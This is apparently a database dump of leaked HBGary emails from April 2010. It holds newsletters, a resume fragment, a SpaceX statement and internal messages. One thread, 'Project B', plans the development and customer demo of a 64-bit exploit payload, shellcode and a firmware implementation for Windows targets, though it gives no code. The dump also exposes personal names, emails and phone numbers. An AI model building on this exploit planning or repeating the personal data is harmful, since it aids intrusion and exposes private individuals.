Clearance:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUS Military Service:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Job:\r\nTarget Job Title:\r\nIntelligence/Government\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Job Type:\r\nEmployee\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Status:\r\nFull-Time\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Company:\r\nIndustry:\r\nAerospace and DefenseTelecommunications ServicesGovernment and MilitarySecurity and Surveillance\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOccupation:\r\nInstallation/Maintenance/RepairEquipment Install/Maintain/Repair\r\nSecurity/Protective ServicesAirport Security and Screening\r\nCustoms/ImmigrationGeneral/Other: Security/Protective ServicesSecurity Intelligence &amp; Analysis\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Locations:\r\nSelected Locations:\r\nUS-MI-DetroitUS-OH-Toledo\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRelocate:\r\nNo\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n\r\nExperience:\r\n - Present\r\nUnited States Government\r\n\r\n\r\n\r\n\r\nSquad Leader / Intelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		\r\n		\r\n		\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n COVER LETTER\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI am a proven leader with seven years of Military Intelligence experience.  I have graduated at the top of all my Intelligence schools including: Communications Locator/Interceptor and Signals Collector/Analyst. I have also been promoted quickly through the ranks of the United States Army because of my vast knowledge of the military intelligence world.  I learn quickly and have a desire to learn any aspect of intelligence I am not formally trained in.\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n		\r\n	\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n* You may download a Word document of this resume from the Software Application Developer, Windows Platform folder. View Resume\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2582,'aaron_hbgary_com/2582.html'),(5395,'2010-04-15','\"AFCEA International\" <connections@afcea.org>','/aaron@hbgary.com/new/1297003917.M759160P14101Q250.eml','aaron@hbgary.com','SIGNAL Connections','\r\n\r\n\r\n\r\nSIGNAL Connections\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n				\r\n					To ensure you receive SIGNAL Connections each month, add connections@afcea.org to your address book.\r\n     If you cannot read this email, click here.\r\n    \r\n				\r\n				\r\n					\r\n\r\n\r\n\r\n					\r\n				\r\n				\r\n					\r\n 				\r\n				\r\n					\r\n				\r\n			\r\n			\r\n				\r\n					SIGNAL | About | Contact | Advertising | Join AFCEA | Writers Guide | Legal \r\n				\r\n			\r\n			\r\n			\r\n				\r\n					\r\n						\r\n							\r\n						    	Thursday, April 15, 2010 \r\n								VOLUME 7 ISSUE 7 \r\n							\r\n							\r\n								\r\n							\r\n						\r\n					\r\n				\r\n				\r\n					In This Issue \r\n			        \r\n			          Feature Articles\r\n			          News Briefs\r\n			          SIGNAL Online Exclusives\r\n			          Currently in SIGNAL\r\n			          Next month in SIGNAL\r\n			          Homefront Help\r\n			          New Products\r\n			          Survey Question\r\n			          Right Now on SIGNAL Scape\r\n			          AFCEA News\r\n			        \r\n					 \r\n					\r\n					\r\n						\r\n							&nbsp;\r\n							&nbsp;\r\n							 \r\n							&nbsp;\r\n						\r\n					\r\n					\r\n					\r\n			        \r\n					\r\n						\r\nSponsors \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n						\r\n					\r\n				\r\n		        \r\n         Survey Question \r\n\r\nDIV.formhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.subhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.secthd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.sectsubhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.questhd {font-size:11px; font-family:arial,helvetica;}\r\n\r\n			\r\n\r\n\r\n				\r\n					\r\n\r\n						\r\n\r\n							\r\n							\r\n								What is the top reason you joined AFCEA?\r\n								              &nbsp;\r\n							\r\n							\r\n\r\n							\r\n							\r\n								\r\n		   					  Networking opportunities&nbsp;Discounts on products&nbsp;SIGNAL Magazine and other media&nbsp;Discuss here)\">Other (Discuss here)&nbsp;\r\n								\r\n							\r\n							\r\n\r\n						\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n\r\n								\r\n\r\n							\r\n\r\n						\r\n						\r\n\r\n					\r\n				\r\n\r\n			\r\n\r\n\r\n\r\n \"9\")))\r\n		return false;\r\n	}\r\n\r\n	return true;\r\n}\r\n\r\nfunction stripCharsInBag(s, bag){\r\n	var i;\r\n   var returnString = \"\";\r\n\r\n   for (i = 0; i 1)\r\n		strDay = strDay.substring(1)\r\n\r\n	if (strMonth.charAt(0)==\"0\" && strMonth.length>1)\r\n		strMonth = strMonth.substring(1)\r\n\r\n	for (var i = 1; i 1)\r\n			strYr=strYr.substring(1)\r\n	}\r\n\r\n	month=parseInt(strMonth)\r\n	day=parseInt(strDay)\r\n	year=parseInt(strYr)\r\n\r\n	if (pos1 == -1 || pos2 == -1) {\r\n		returnString = \"The date format should be : MM/DD/YYYY\";\r\n	}\r\n	else if (strMonth.length12) {\r\n		returnString = \"Please enter a valid month\";\r\n	}\r\n	else if (strDay.length31 || (month==2 && day>daysInFebruary(year)) || day > daysInMonth[month]) {\r\n		returnString = \"Please enter a valid day\";\r\n	}\r\n	else if (strYear.length != 4 || year==0 || yearmaxYear) {\r\n		returnString = \"Please enter a valid 4 digit year between \"+minYear+\" and \"+maxYear;\r\n	}\r\n	else if (dtStr.indexOf(dtCh,pos2+1)!=-1 || isInteger(stripCharsInBag(dtStr, dtCh))==false) {\r\n		returnString = \"Please enter a valid date\";\r\n	}\r\n	else {\r\n		returnString = \"\";\r\n	}\r\n	return returnString;\r\n}\r\n\r\nfunction isNumber(str) {\r\n	if ( (str == \"\") || (isNaN(Math.abs(str)) && (str.charAt(0) != \'#\'))) {\r\n		return false;\r\n	}\r\n	return true;\r\n}\r\n\r\nfunction validateForm(form) \r\n{\r\n	if (validate) {\r\n		document.sbt.status_cd.value = \'COMPLETED\';\r\n\r\n		for (var e = 0; e  -1)) { \r\n				if (el.name.indexOf(\"QY\") > -1 && el.value == \'\') {\r\n					alert(errormsg);\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if (el.name.indexOf(\"EMAIL\") > -1 && isEmail(el.value) == false) {\r\n					alert(\"Invalid E-Mail format\");\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if (el.name.indexOf(\"NUMBER\") > -1 && isNumber(el.value) == false) {\r\n					alert(\"Invalid Number\");\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if ( el.name.indexOf(\"DATE\") > -1 ) {\r\n					var err = isDate(el.value);\r\n					if (err != \'\') {\r\n						alert(err);\r\n						el.focus();\r\n						return false;\r\n					}\r\n				}\r\n			}\r\n			else if (el.type.indexOf(\'select\') != -1 && el.name.indexOf(\"QY\") > -1) {\r\n				if (el.selectedIndex == 0) {\r\n					alert(errormsg);\r\n					el.focus();\r\n					return false;\r\n				}\r\n			}\r\n			else if (el.type == \'radio\' && el.name.indexOf(\"QY\") > -1) {\r\n				var group = form[el.name];\r\n				var checked = false;\r\n				if (!group.length)\r\n					checked = el.checked;\r\n				else\r\n					for (var r = 0; r  -1) {\r\n				var group = form[el.name];\r\n				if (group.length) {\r\n					var checked = false;\r\n					for (var r = 0; r \r\n\r\n\r\n        \r\n        Homefront Help\r\n        \r\n          Find out how you can help the troops from home.\r\n        \r\n        \r\n        New Products\r\n        \r\n          Check out the latest products.\r\n        \r\n        \r\n        Right Now on SIGNAL Scape \r\n      \r\n        Cool App-titude: GovLoop\r\n		New Program Supports STEM Teachers \r\n        DoD Releases Open Government Plan \r\n        \r\n        \r\n      \r\n      \r\n      \r\n      AFCEA News\r\n      \r\n        Educational Foundation\r\n        \r\n        Small Business\r\n        Intelligence\r\n        Chapter News\r\n      \r\n      \r\n    Upcoming Events\r\nUS Navy IT DayNavy, IT, US Navy 04/15/2010Sheraton Premiere at Tysons Corner , Vienna, VA details ...AFCEA Bethesda Monthly Breakfast Series Federal Civilian and DoD Networking and Education Breakfast04/20/2010Bethesda North Marriott and Conference Center, Bethesda, MD details ...AFCEA NoVA Monthly Luncheon04/23/2010Sheraton Premiere at Tysons Corner , Vienna, VA details ...Monthly Luncheon04/27/2010VA details ...AFCEA DC Monthly Panel Series - Health IT04/28/2010Pentagon City Ritz Carlton, Arlington, VA details ...\r\n\r\n      \r\n      \r\n      Subscribe\r\n\r\nEnter your e-mail address in the box below to receive an e-mail each time we post a new issue of our newsletter:\r\n  \r\n  &nbsp;\r\n  \r\n			\r\n			\r\nFeature Articles\r\nTurkey Looks Inward to Develop Information Technologies\r\nAn advanced, indigenous base is building many of the country&rsquo;s military enablers. [Read more...]\r\nTactical, Satellite Based Technologies Drive Marine Corps Networking Plans\r\n  To support its global operations, the U.S. Marine Corps is relying on a tactical communications system linked by satellites to theater and national headquarters. Several mobile tactical systems and an innovative space-based networking capability are providing warfighters with reliable, high-bandwidth communications wherever they deploy.  [Read more...]  \r\nEnsuring Good Connections\r\n  The U.S. Department of Homeland Security (DHS) set out to complete its National Emergency Communications Plan (NECP) within 18 months of publishing the final version. Instead, by January 2010&mdash;the halfway point&mdash;the OEC had completed 80 percent of the plan&rsquo;s milestones and was well on its way to finishing the final 20 percent long before the deadline. [Read more...] \r\n\r\n\r\n News Briefs\r\nData Fusion Tracking Capability Goes Live\r\n  An advanced tracking system that provides air traffic controllers with critical operational information about aircraft position, flight data and weather conditions is now entering service. The Standard Terminal Automation Replacement System (STARS) is a joint procurement of the U.S. Federal Aviation Administration (FAA) and the U.S. Defense Department. Philadelphia is the first FAA STARS facility to go live with fused Automatic Dependent Surveillance-Broadcast (ADS-B) track data for aircraft surveillance. ADS-B enables the transition from ground-based to satellite-based air traffic control. Fusion allows a control system to combine surveillance from multiple sensors, including radars, ADS-B and multilateration groundstations into a single track.  \r\nTeam Discovers New Element of the Periodic Table\r\n  A team of U.S. and Russian researchers has discovered the newest superheavy element&mdash;element 117, the only one missing from Row 17 of the periodic table. Scientists from the Joint Institute for Nuclear Research, the Research Institute for Advanced Reactors, Lawrence Livermore National Laboratory, Oak Ridge National Laboratory, Vanderbilt University and the University of Nevada, Las Vegas established the existence of element 117 from decay patterns observed following the bombardment of a radioactive berkelium target with calcium ions. The experiment produced six atoms of the new element. The team observed the alpha decay of each atom until the nucleus fissioned, splitting into two lighter elements. Eleven new neutron-rich isotopes were produced.  \r\nUAVs Refuel in Flight\r\nThe problem of how to keep unmanned aerial vehicles (UAVs) flying for days on end may soon be just a memory. Successful flight tests for the U.S. Air Force Research Laboratory (AFRL) have determined that unmanned aircraft can be refueled while in flight using the existing Air Force tanker fleet. The most recent testing of the Automated Aerial Refueling program demonstrated that LN-251 global positioning system/inertial navigation system software embedded in aircraft can provide the precise positioning information and host relative navigation processing. This latest accomplishment in a capability that the AFRL began several years ago with Boeing&rsquo;s Phantom Works also featured an Ethernet interface as well as an embedded 24-channel receiver with enhanced tracking capabilities.\r\n  \r\nEducational Video Catches Terrorists in the Act\r\n  A video is now available that demonstrates to business owners how their security cameras can aid law enforcement investigations and possibly solve a terrorist attack. The video, titled Caught on Camera, explains the best places to position cameras and how to avoid common mistakes such as installing them in ineffective places, ignoring an area&rsquo;s lighting and line-of-sight issues, and failing to teach administrators how the systems operate. The video uses actors as well as FBI personnel to tell the story of a terrorist bombing and how the suspects are located and caught via closed-circuit television cameras. The FBI&rsquo;s Operational Technology Division created the 20-minute instructional video, which is free and available in DVD format to business owners as well as members of law enforcement organizations.  \r\n\r\nSIGNAL Online Exclusive Articles\r\n\r\n\r\n\r\nNo Easy Answers on Social Media in Defense Department\r\n  Even as government 2.0 advocates hailed the U.S. Defense Department\'s newly framed social media policy upon its announcement, questions persisted over the value of such a policy in the wake of cybersecurity threats. But Sumit Agarwal, who was named deputy assistant secretary of defense (public affairs) for outreach and social media in January, says that with so many people using social media on their own, enforcing a closed posture on these tools may be as ill-advised as not doing so.  [Read more...]\r\n\r\nTanglefoot Protects Troops From Explosives\r\n  The U.S. Army has unveiled to the public a new robot that aids troops in their fight against improvised explosive devices (IEDs). Intended to attach to more than 8,000 other robotic assets already deployed in the field, Tanglefoot employs simple tools to clear routes that military members must traverse. [Read more...]\r\n\r\n\r\nSIGNAL Magazine Current Issue\r\n      \r\n    \r\n      \r\n      April 2010\r\n      Focus: DISA\r\n      The Defense Information Systems Agency (DISA) is facing the double-edged sword of information technology modernization and security. Its ability to provide advanced networking capabilities is in greater demand than ever, but it must ensure that its information sec urity is as advanced as its technologies. That challenge has not hindered the agency&rsquo;s capacity for innovation as it responds to increasing demands from its customers.\r\nFocus: Marine Corps Technologies\r\n  The U.S. Marine Corps long has prided itself on having capabilities that are native to each of the other services. Those capabilities are being brought to bear as the Marines engage in operations far from traditional Corps capabilities. As it conducts major operations in Afghanistan, the Corps is growing a body of expertise that will help define future Marine operations.\r\nRead these stories and more in the current issue of SIGNAL Magazine.  \r\n         \r\n         \r\n       \r\n         Next Month in SIGNAL Magazine\r\n         Focus: U.S. Strategic Command\r\n           The U.S. Strategic Command (STRATCOM) has a heritage of protecting the United States throughout the most intense confrontations of the Cold War. Even though the threat of sudden nuclear annihilation has ebbed, STRATCOM must continue to deter attacks from rogue and emerging nuclear powers. And, the command now faces the challenge of the entire range of cyberspace marauders who threaten the military and civilian infosphere. \r\n         Focus: Joint Operations\r\n         Operating jointly has gone beyond mere lip service among the services, but it remains a difficult goal. As missions become more diverse, specialization increases in importance, and smooth interoperability becomes more difficult. Add to that the complexity of emerging information technology systems, and planners have their hands full as they try to ensure that joint operations run smoothly and achieve their desired goals. \r\n         \r\n         Community \r\n          &nbsp;\r\n         &nbsp;\r\n				  \r\n				\r\n			\r\n\r\n			\r\n			  \r\n					\r\n			\r\n\r\n			\r\n					\r\n				\r\n				\r\n					\r\n			\r\n			Published by AFCEA International, 4400 Fair Lakes Ct., Fairfax, VA 22033.\r\n			\r\n				\r\n				\r\n					\r\n				\r\n			 \r\n\r\n			\r\n				\r\n					\r\n					\r\n						\r\n							\r\n								Copyright &copy; 2010 AFCEA International. All rights reserved.\r\n			    Copyright is not claimed in the portions written by government employees within the scope of their employment. Authors are entirely responsible for opinions expressed in articles or letters appearing in AFCEA publications, and these opinions are not to be construed as official or reflecting the views of AFCEA. SIGNAL is registered in the U.S. Patent and Trademark Office.\r\n			 \r\n								\r\n			  \r\n			    \r\n			      FORWARD TO A FRIEND\r\n			      \r\n			  UNSUBSCRIBE\r\n							\r\n						\r\n					\r\n					\r\n				\r\n			 \r\n		\r\n	\r\n \r\n\r\n\r\n \r\n   var _gaq = _gaq || []; \r\n  _gaq.push([\'_setAccount\', \'UA-1095862-1\']); \r\n  _gaq.push([\'_trackPageview\']); \r\n \r\n  (function() { \r\n    var ga = document.createElement(\'script\'); ga.type = \'text/javascript\'; ga.async = true; \r\n    ga.src = (\'https:\' == document.location.protocol ? \'https://ssl\' : \'http://www\') + \'.google-analytics.com/ga.js\'; \r\n    var s = document.getElementsByTagName(\'script\')[0]; s.parentNode.insertBefore(ga, s); \r\n  })(); \r\n\r\n\r\n\r\n\r\n_qacct=\"p-8133HdY5ndcvE\";\r\nquantserve();\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10456,'aaron_hbgary_com/10456.html'),(5396,'2010-04-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003924.M790940P14101Q251.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Fwd: Project B','Stupid is as stupid does. ;P Good work Mark, that&#39;s a big relief. Begin forwarded message:\r\nFrom: Mark Trynor &lt;mark@hbgary.com&gt;Date: April 15, 2010 11:54:01 AM MDTTo: embleton@clearhatconsulting.com\r\nCc: Ted Vera &lt;ted@hbgary.com&gt;, Martin Pillion &lt;martin@hbgary.com&gt;Subject: Re: Project B\r\nIt works.  My fault.  I had the wrong address.On Thu, Apr 15, 2010 at 10:48 AM, Mark Trynor &lt;mark@hbgary.com&gt; wrote:\r\n\r\nAttached are screenshots from when I reran the test with hyperthreading\r\noff and a fresh install of Vista Ultimate SP2 with only the important\r\nupdates installed (no optional updates).  It did the same thing it was\r\ndoing in Enterprise.\r\n\r\nTed Vera wrote:\r\n&gt; Below are my notes from our conference call and the subsequent call I\r\n&gt; had with the customer regarding the target laptops.  If I missed\r\n&gt; anything, or you see any inaccuracies, please let me know.\r\n&gt;\r\n&gt; I tried to capture the estimated times these tasks would take during\r\n&gt; the call, but we missed some.  Can you please send me your estimates\r\n&gt; for assigned tasks.  If you see a schedule/technical risk, please let\r\n&gt; me know, and we&#39;ll try to mitigate.\r\n&gt;\r\n&gt; Remaining Tasks:\r\n&gt; Mark:  Complete the Vista 64 testing\r\n&gt; Clearhat:  Create visual demo for 64-bit payload to open\r\n&gt; window/calculator, or write-out &quot;hello world&quot; file to c:\\ using bios\r\n&gt; interrupts. Possibly use metasploit to spit out 64-bit shell code.\r\n&gt; Clearhat:  Port to Windows 7 64-bit w visual demo payload (est. 1-2 days)\r\n&gt; Mark:  Test Windows 7 64\r\n&gt; Clearhat:  Tie the Vista 64-bit port to the previous FW implementation\r\n&gt; Clearhat:  Tie the Windows 7 port to the previous FW implementation\r\n&gt; Mark:  Test Windows Vista 32-bit\r\n&gt; Martin:  Update Python Shell Code (minimal code changes), review final\r\n&gt; 32/64 bit FW implementation.\r\n&gt; Mark:  Test fully integrated 32/64 bit FW implementation\r\n&gt; Martin:  Final demo / sell off preparations\r\n&gt;\r\n&gt; Other Notes:\r\n&gt; 64-bit port reliably hits user-mode payload every time (in 64-bit Vista).\r\n&gt; Skips past the 6-7 clean-ups, could cause some stability issues.\r\n&gt; Shawn has 4-5 days he can devote.\r\n&gt; Shawn&#39;s dev system uses Intel e8400 core 2 duo\r\n&gt; Mark is installing Vista Ultimate\r\n&gt; Mark disabled hyper-threading and the test still failed\r\n&gt;\r\n&gt; The demo sell-off is scheduled for next Thursday &amp; Friday.  Martin was\r\n&gt; correct that the laptops will just be grabbed out of a supply bin,\r\n&gt; basically.  The customer would prefer to keep the target laptop OS&#39;s\r\n&gt; unknown, to be &quot;part of the fun&quot; next week.  We will have Thursday\r\n&gt; night to iron-out wrinkles, and re-present to the customer on Friday\r\n&gt; if needed.  I told him we are going to focus our testing on the OS&#39;s\r\n&gt; that are on the list, and for Vista, we&#39;re using Vista Ultimate.\r\n&gt; We&#39;ll test additional OS versions if time is available.\r\n&gt;\r\n\r\n\r\n',2793,'aaron_hbgary_com/2793.html'),(5397,'2010-04-15','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297003926.M289153P14101Q252.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Statement from Elon Musk','I love this guyBegin forwarded message:From: SpaceX &lt;media@spacex.com&gt;Date: April 15, 2010 11:54:43 AM MDTTo: thv31@mac.comSubject: Statement from Elon MuskReply-To: SpaceX &lt;SpaceX_rwqyrwt@cmpgnr.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n       \r\n\r\n          \r\n At LONG LAST, AN INSPIRING FUTURE FOR SPACE EXPLORATION \r\n                  \r\n \r\n          \r\n Thursday, April 15, 2010\r\n                  \r\n\r\n\r\nThe Apollo Moon landing was one of humanity\'s greatest achievements.  Millennia from now, when the vast majority of the 20th century is reduced to a few footnotes known only to erudite scholars of history, they will still remember that was when we first set foot upon a heavenly body.  It was a mere 66 years after the first powered airplane flight by the Wright brothers. \r\n \r\nIn the 41 years that have passed since 1969, we have yet to surpass that achievement in human spaceflight.  Since then, our capability has actually declined considerably and to a degree that would yield shocked disbelief from anyone in that era.  By now, we were supposed to have a base on the Moon, perhaps even on Mars, and have sent humans traveling on great odysseys to the outer planets.  Instead, we have been confined to low Earth orbit and even that ends this year with the retirement of the Space Shuttle.\r\n \r\nIn 2003, following the Columbia accident, President Bush began development of a system to replace the Shuttle, called the Ares I rocket and Orion spacecraft.  It is important to note that this too would only have been able to reach low Earth orbit.  Many in the media mistakenly assumed it was capable of reaching the Moon.  As is not unusual with large government programs, the schedule slipped by several years and costs ballooned by tens of billions.\r\n \r\nBy the time President Obama cancelled Ares I/Orion earlier this year, the schedule had already slipped five years to 2017 and completing development would have required another $50 billion.  Moreover, the cost per flight, inclusive of overhead, was estimated to be at least $1.5 billion compared to the $1 billion of Shuttle, despite carrying only four people to Shuttle\'s seven and almost no cargo.\r\n \r\nThe President quite reasonably concluded that spending $50 billion to develop a vehicle that would cost 50% more to operate, but carry 50% less payload was perhaps not the best possible use of funds.  To quote a member of the Augustine Commission, which was convened by the President to analyze Ares/Orion, “If Santa Claus brought us the system tomorrow, fully developed, and the budget didn\'t change, our next action would have to be to cancel it,” because we can\'t afford the annual operating costs.  \r\n \r\nCancellation was therefore simply a matter of time and thankfully we have a President with the political courage to do the right thing sooner rather than later.  We can ill afford the expense of an “Apollo on steroids”, as a former NASA Administrator referred to the Ares/Orion program.  A lesser President might have waited until after the upcoming election cycle, not caring that billions more dollars would be wasted.  It was disappointing to see how many in Congress did not possess this courage.  One senator in particular was determined to achieve a new altitude record in hypocrisy, claiming that the public option was bad in healthcare, but good in space!\r\n \r\nThankfully, as a result of funds freed up by this cancellation, there is now hope for a bright future in space exploration.  The new plan is to harness our nation\'s unparalleled system of free enterprise (as we have done in all other modes of transport), to create far more reliable and affordable rockets.  Handing over Earth orbit transport to American commercial companies, overseen of course by NASA and the FAA, will free up the NASA resources necessary to develop interplanetary transport technologies.  This is critically important if we are to reach Mars, the next giant leap in human exploration of the Universe.  \r\n \r\nToday, the President will articulate an ambitious and exciting new plan that will alter our destiny as a species.  I believe this address could be as important as President Kennedy\'s 1962 speech at Rice University.  For the first time since Apollo, our country will have a plan for space exploration that inspires and excites all who look to the stars.  Even more important, it will work.\r\n \r\n--Elon--\r\n	You are subscribed as thv31@mac.com. To unsubscribe please click here.',3116,'aaron_hbgary_com/3116.html'),(5398,'2010-04-15','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297003926.M543628P14101Q253.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Monitor for CEIC in May ????','Hi Aaron\r\n \r\nWhat shape is the booth in?  Did you get a new monitor?  CEIC is around the corner...\r\n \r\nDeeAnn we also need lightbulbs.... for those little lamps.\r\n \r\nThanks\r\nMaria-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',63,'aaron_hbgary_com/63.html'),(5399,'2010-04-15','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297003926.M798954P14101Q254.eml','aaron@hbgary.com','National Guard Bureau Chief to speak at Joint Warfighting 2010',' \r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n          \r\n          \r\n	\r\n		Fourth annual Joint Warfighting conference and exposition \r\n		  &quot;Combatant and Coalition Commanders: What Will They Need Five Years From Now?&quot;\r\n  May 11-13, 2010\r\n		  Virginia Beach Convention Center, VA\r\n		  \r\n		    \r\n		      \r\n		      Co-sponsored by AFCEA International and the U.S. Naval Institute, in coordination with U.S. Joint Forces Command and with support of the NDIA Greater Hampton Roads Chapter and the AFCEA Hampton Roads and Tidewater Chapters.\r\n		        &nbsp;&nbsp;&nbsp; \r\n		      \r\n		    		                \r\n              \r\n              Registration is FREE! CLICK HERE to register.\r\n\r\nJust announced! Gen Craig R. McKinley, USAF, Chief, National Guard Bureau, will speak at the Joint Warfighting Conference on Thursday, May 13. \r\nFeatured Speakers:\r\n&nbsp;\r\n\r\n              The Honorable Mich&egrave;le A. Flournoy, Under Secretary of Defense for Policy, U.S. Department of Defense\r\n                        \r\n            \r\n              ADM Michael G. Mullen, USN, Chairman of the Joint Chiefs of Staff * \r\n                        \r\n            \r\n              Gen James N. Mattis, USMC, Commander, U.S. Joint Forces Command\r\n*                \r\n                        \r\n\r\n  GEN David H. Petraeus, USA, Commander, U.S. Central Command * \r\n            \r\n            \r\n              Gen St&eacute;phane Abrial, French Air Force, NATO Supreme Allied Commander Transformation\r\n              \r\n               \r\n            &quot;What Should Be Done to Secure the Homelands?&quot;\r\n              Moderator: Mr. David Hartman, former Host, Good Morning America\r\n                        \r\n            \r\n              Participants:              \r\n                        \r\n              The Honorable Michael Chertoff, \r\n                          Senior of Counsel, Covington &amp; Burling LLP, \r\n              former U.S. Secretary of Homeland Security\r\n              ADM Timothy J. Keating, USN (Ret.), \r\n                        former Commander, U.S. Pacific Command\r\n                        \r\n\r\n  * Luncheon address - ticket required for meal. Ticket purchase available through on-line registration. \r\n&nbsp;\r\nPanel Sessions - Dialogue with the Experts:\r\n\r\n  Power Shifts: Who\'s Up? Who\'s Down? What\'s Changing?\r\n  Fresh from the Fight: What Do Company Level Leaders See as the Threats?\r\n  What Needs to Be Done to Make the Interagency Pieces Work?\r\n            \r\n            \r\n              Battles of Competing Narratives: Why Do They Matter\r\n                        \r\n            \r\n              Small Unit Excellence: What Will It Take?\r\n              How Do We Fight Through a Digital Meltdown?\r\n              What Needs to Be Done to Make the Joint/Coalition Force Acquisition Interoperable?                \r\n                        \r\n                                                    &nbsp;\r\n            Over 200 IT and defense exhibitors showcasing technologies and solutions, including:  \r\n            \r\n              \r\n                \r\n                  Boats\r\n                \r\n                \r\n                  Intelligence Gathering Systems \r\n                \r\n                \r\n                  Systems Engineering \r\n                \r\n              \r\n              \r\n                \r\n                  Communication Systems \r\n                \r\n                \r\n                  Network Integration \r\n                \r\n                \r\n                  Unmanned Vehicles \r\n                \r\n              \r\n              \r\n                \r\n                  Computer Hardware &amp; Software \r\n                \r\n                \r\n                  Radar Systems \r\n                \r\n                \r\n                  Weapons Systems\r\n                \r\n              \r\n              \r\n                \r\n                  Electronic Warfare Equipment\r\n                \r\n                \r\n                  Rugged Computers \r\n                \r\n                \r\n                  Wireless Technology \r\n                \r\n              \r\n              \r\n                \r\n                  Information Systems Security \r\n                \r\n                \r\n                  Satellite Communications \r\n                \r\n                &nbsp;\r\n              \r\n              \r\n                \r\n                  Information Technology \r\n                \r\n                \r\n                  Shipbuilding\r\n                \r\n                &nbsp;\r\n              \r\n                        \r\n             &nbsp;\r\n            The Joint Warfighting Conference will also feature: \r\n\r\n              USJFCOM and ACT Flag Officer Briefings at the USJFCOM Exhibit Booth \r\n              Joint Forces Command Knowledge Management Workshops/Sessions\r\n\r\n            \r\n               DON IT East Coast Conference\r\n                        \r\n            \r\n              Fourth annual Navy Blue Coast Small Business Conference **              \r\n                        \r\n            \r\n              Fourth annual Military Officers Association of America Military Spouse Symposium **              \r\n              MOAA Seminars - Career Transition Overview, New GI Bill, Retirement \r\n                        \r\n            \r\n              AFCEA Education Summit at the 2010 Joint Warfighting Conference              \r\n               WRITERS&mdash;USNI Needs Your Best Ideas &ndash; join in interactive panel discussion \r\n              \r\n            \r\n\r\n  **Separate registration required. \r\n  \r\n              \r\n        \r\nAttention Corporates: Reach your defense customers by becoming an exhibitor, sponsor or table buyer!  Click here for more information.\r\n            \r\n\r\n        \r\nFor more information on the Joint Warfighting Conference and to register FREE click here.\r\n\r\nWe look forward to seeing you in Virginia Beach!\r\n\r\n        \r\n		\r\n	\r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\nhttp://www.afcea.org\r\n\r\n	\r\n	\r\n	  \r\n		\r\n	\r\n	  \r\n	\r\n\r\n\r\n\r\n\r\n\r\n',4760,'aaron_hbgary_com/4760.html'),(5400,'2010-04-15','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003927.M23763P14101Q255.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Shawn Bracken\" <shawn@hbgary.com>,\"Scott Pease\" <scott@hbgary.com>,aaron@hbgary.com,phil@hbgary.com','going to rename the whitepaper',' \r\nTeam,\r\nI was thinking of renaming the whitepaper from &quot;Incident Response with HBGary&#39;s Active Defense&quot; to something more like &quot;Leveraging Threat Intelligence in the Enterprise with HBGary&#39;s Active Defense&quot;\r\n\r\n \r\nThoughts?\r\n \r\nAfter talking w/ Aaron this morning, I had the impression that incident response doesn&#39;t cover the use of actionable data to make the existing IDS/firewalls etc smarter.  Using actionable intel is a central theme of the new whitepaper and a key value of Active Defense.\r\n\r\n \r\n-G\r\n',321,'aaron_hbgary_com/321.html'),(5401,'2010-04-15','\"Michelle Carper\" 